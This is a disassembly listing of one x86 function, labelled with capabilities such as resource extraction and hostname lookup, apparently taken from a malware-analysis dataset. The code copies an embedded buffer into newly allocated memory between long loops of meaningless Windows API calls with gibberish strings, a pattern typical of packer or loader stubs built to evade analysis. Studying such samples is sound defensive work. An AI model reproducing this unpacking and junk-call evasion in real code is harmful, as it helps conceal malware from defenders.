Function at 0x401640
Capabilities:
Extract resource via kernel32 functions
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4263d8
push eax
mov dword fs:[0], esp
sub esp, 0x980
cmp dword [0x84b660], 0x5b1
push ebx
push esi
push edi
jne 0x40171a
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push 0
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea esi, [ebp - 0x30]
call fcn.00401ca0
push 0
mov dword [ebp - 4], 0
call fcn.00403be1
add esp, 4
push 0
push 0
call fcn.00403bec
add esp, 8
call fcn.0040376a
call fcn.00401630
push 0
call fcn.00403cea
add esp, 4
push 0
call fcn.00403cfa
mov dword [esp], 0
call fcn.00401260
fstp st(0)
lea edx, [ebp - 0x78]
push edx
call fcn.00401cf0
lea ecx, [ebp - 0x78]
call fcn.00401d40
mov eax, esi
mov dword [ebp - 4], 0xffffffff
call fcn.00401cd0
mov eax, dword [0x42c4a0]
mov dword [0x84b664], eax
mov eax, dword [0x84b660]
add eax, 0x1134b
push eax
push 0
mov dword [0x84b660], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x84a5b0], eax
call fcn.00401570
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
mov edi, edi
cmp esi, 0x2710
jge 0x401763
lea ecx, [ebp - 0x58c]
push ecx
push 0
call edi
inc esi
cmp esi, 0x18ea14c
jl 0x401750
xor esi, esi
cmp dword [0x84b660], esi
jbe 0x4017d2
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.GDI32.dll_SetColorAdjustment]
mov edx, dword [0x84b664]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x84a5b0]
mov byte [ecx + esi], al
cmp dword [0x84b660], 0xa8
jne 0x4017c9
push 0
lea edx, [ebp - 0x10]
push edx
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x18c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
inc esi
cmp esi, dword [0x84b660]
jb 0x401782
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor esi, esi
mov ecx, dword [0x84b660]
add ecx, esi
cmp ecx, 0xe
jne 0x40180c
push 0
push 0
push str.negodefivezefulisaw
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
inc esi
cmp esi, 0x39621
jl 0x4017e0
call fcn.004014a0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x62
jne 0x40182e
call fcn.00401550
inc esi
cmp esi, 0x674db
jl 0x401822
mov esi, dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov ebx, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x84b660], 0x86
jne 0x40188a
push 0
lea edx, [ebp - 0x98c]
push edx
push str.Yic_tifimo_yim_navoho
call esi
push 0
push str.muhobahodagok
push str.vozizisijocojiviragovabijo
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub dword [ebp - 0x10], 1
jne 0x401850
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret